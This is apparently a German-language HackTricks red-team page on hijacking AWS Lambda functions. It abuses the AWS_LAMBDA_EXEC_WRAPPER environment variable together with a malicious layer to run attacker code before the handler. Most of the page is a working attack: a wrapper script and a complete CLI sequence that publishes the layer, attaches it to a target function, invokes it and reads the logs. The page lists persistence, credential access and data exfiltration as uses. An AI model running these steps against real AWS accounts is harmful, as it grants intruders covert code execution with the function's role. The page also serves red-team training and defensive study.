AWS - Lambda Exec Wrapper Layer Hijack (Pre-Handler RCE)

Reading time: 4 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Zusammenfassung

Missbrauche die Umgebungsvariable AWS_LAMBDA_EXEC_WRAPPER, um ein vom Angreifer kontrolliertes Wrapper-Skript auszuführen, bevor das runtime/handler startet. Liefere den Wrapper über eine Lambda Layer unter /opt/bin/htwrap, setze AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap und rufe anschließend die Funktion auf. Der Wrapper läuft im Prozess der Funktionsruntime, erbt die Function Execution Role und führt schließlich das echte Runtime via exec aus, sodass der ursprüngliche Handler weiterhin normal ausgeführt wird.

warning

Diese Technik ermöglicht Codeausführung in der Ziel-Lambda ohne Änderung ihres Quellcodes oder ihrer Rolle und ohne iam:PassRole zu benötigen. Du brauchst lediglich die Möglichkeit, die Funktionskonfiguration zu aktualisieren und ein Layer zu veröffentlichen/anzuhängen.

Erforderliche Berechtigungen (attacker)

  • lambda:UpdateFunctionConfiguration
  • lambda:GetFunctionConfiguration
  • lambda:InvokeFunction (or trigger via existing event)
  • lambda:ListFunctions, lambda:ListLayers
  • lambda:PublishLayerVersion (same account) and optionally lambda:AddLayerVersionPermission if using a cross-account/public layer

Wrapper Script

Platziere den Wrapper im Layer unter /opt/bin/htwrap. Er kann Logik vor dem Handler ausführen und muss mit exec "$@" enden, um an das echte runtime weiterzuleiten.

bash
#!/bin/bash
set -euo pipefail
# Pre-handler actions (runs in runtime process context)
echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
python3 - <<'PY'
import boto3, json, os
try:
ident = boto3.client('sts').get_caller_identity()
print('[ht] sts identity:', json.dumps(ident))
except Exception as e:
print('[ht] sts error:', e)
PY
# Chain to the real runtime
exec "$@"

Angriffsschritte (CLI)

Layer veröffentlichen, an Ziel-Funktion anhängen, Wrapper setzen, aufrufen
bash
# Vars
REGION=us-east-1
TARGET_FN=<target-lambda-name>

# 1) Package wrapper at /opt/bin/htwrap
mkdir -p layer/bin
cat > layer/bin/htwrap <<'WRAP'
#!/bin/bash
set -euo pipefail
echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
python3 - <<'PY'
import boto3, json
print('[ht] sts identity:', __import__('json').dumps(__import__('boto3').client('sts').get_caller_identity()))
PY
exec "$@"
WRAP
chmod +x layer/bin/htwrap
(zip -qr htwrap-layer.zip layer)

# 2) Publish the layer
LAYER_ARN=$(aws lambda publish-layer-version \
--layer-name ht-exec-wrapper \
--zip-file fileb://htwrap-layer.zip \
--compatible-runtimes python3.11 python3.10 python3.9 nodejs20.x nodejs18.x java21 java17 dotnet8 \
--query LayerVersionArn --output text --region "$REGION")

echo "$LAYER_ARN"

# 3) Attach the layer and set AWS_LAMBDA_EXEC_WRAPPER
aws lambda update-function-configuration \
--function-name "$TARGET_FN" \
--layers "$LAYER_ARN" \
--environment "Variables={AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap}" \
--region "$REGION"

# Wait for update to finish
until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --query LastUpdateStatus --output text --region "$REGION")" = "Successful" ]; do sleep 2; done

# 4) Invoke and verify via CloudWatch Logs
aws lambda invoke --function-name "$TARGET_FN" /tmp/out.json --region "$REGION" >/dev/null
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 50 --region "$REGION" --query 'events[].message' --output text

Auswirkungen

  • Ausführung von Pre-handler-Code im Lambda runtime-Kontext unter Verwendung der bestehenden execution role der Funktion.
  • Keine Änderungen am function code oder an der role erforderlich; funktioniert für gängige managed runtimes (Python, Node.js, Java, .NET).
  • Ermöglicht persistence, credential access (z. B. STS), data exfiltration und runtime tampering, bevor der handler ausgeführt wird.

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks